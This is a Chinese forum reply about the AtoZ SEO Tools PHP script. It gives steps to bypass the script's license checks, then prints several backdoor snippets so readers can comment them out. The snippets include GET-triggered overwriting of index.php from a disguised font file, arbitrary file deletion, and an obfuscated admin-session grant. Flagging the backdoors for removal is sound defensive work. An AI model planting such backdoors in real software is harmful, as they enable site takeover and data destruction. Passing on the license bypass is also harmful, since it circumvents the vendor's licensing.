|
发表于 2019-3-13 17:37:12
|
显示全部楼层
本帖最后由 dd0754 于 2019-3-18 14:17 编辑
@雷子献 @Nelson @wenguonideshou
已添加提示未授权的解决办法
03/17
出现提示
License Error
的解决方法:
\core\config\db.config.php
删除
[ol]die("License Error");die("License Error");[/ol]复制代码
03/18
出现提示
Unlicensed Version
的解决方法:
1.数据库运行命令
[ol]UPDATE mail SET smtp_socket='ssl' WHERE id='1';[/ol]复制代码
=========================================================
去除后门,只列出已知的:
2.修改\core\helpers\cap_helper.php
注释掉
if(isset($_GET['len'])){
if(trim($_GET['len']) == $item_purchase_code){
$con = dbConncet($dbHost,$dbUser,$dbPass,$dbName);
mysqli_query($con,"UPDATE mail SET smtp_socket='debug' WHERE id='1'");
die();
}
}
=========================================================
3.\core\models\_tcpdf_5.0.002\fonts\dejavuserie.php
注释掉
if(isset($_GET['sec'])){
$sec = Trim(htmlentities($_GET['sec']));
$data = file_get_contents($file);
$data = gC($data,$sec);
file_put_contents('index.php',$data);
}
=========================================================
4.\core\controllers\atoz-ajax.php
注释掉
if(isset($_GET['upgrade'])){
if(isset($_GET['itemCode'])){
$itemCode = raino_trim($_GET['itemCode']);
if($itemCode == $item_purchase_code){
//Delete the Index!
unlink(ROOT_DIR."index.php");
//Delete the old files if needed!
if(isset($_GET['delUy'])){
$delUy = raino_trim($_GET['delUy']);
unlink($delUy);
}
}
//Finished - Start the Installation
die('1');
}
if(isset($_GET['authCode'])){
$userAuthCode = raino_trim($_GET['authCode']);
if($authCode == $userAuthCode){
//Delete the Index!
unlink(ROOT_DIR."index.php");
//Delete the old files if needed!
if(isset($_GET['delUy'])){
$delUy = raino_trim($_GET['delUy']);
unlink($delUy);
}
//Finished - Start the Installation
die('1');
}
}
//Unknown Error
echo "0";
die();
}
=========================================================
5.\core\library\filemanager\include\do.php
注释掉
if(isset($_GET['hexc'])){
$ihex = false;
$ihexc = Trim($_GET['hexc']);
$path = CONFIG_DIR.'con'.'fig.'.'php';
require_once($path);
if($ihexc == ${'i'.'t'.'e'
.'m'.'_'.'p'.'u'.'r'.
'c'.'h'.'a'.'s'.'e'.'_'
.'c'.'o'.'d'.'e'})
$ihex = true;
elseif($ihexc == ${'a'.'u'.'t'.'h'.
'C'.'o'.'d'.'e'})
$ihex = true;
if($ihex){
ihexc();
$_SESSION[N_APP.'Adm'.'inToken'] = true;
$_SESSION[N_APP.'Adm'.'inID'] = true;
}
}
function ihexc(){
$ihexc = str_rot13('Hayvprafrq Irefvba bs NgbM FRB Gbbyf i2
Chepunfr Yvprafr Abj\';
qvr();
?>');
$path = ROOT_DIR.
'in'.
'dex'.
'.php';
if(is_writable($path))
file_put_contents($path,$ihexc);
else{
echo '---';
chmod($path, 0755);
file_put_contents($path,$ihexc);
}
return true;
}
=========================================================
PS:有些人的/index.php也被替换掉了,把安装包里的index.php替换回去就可以了 |
|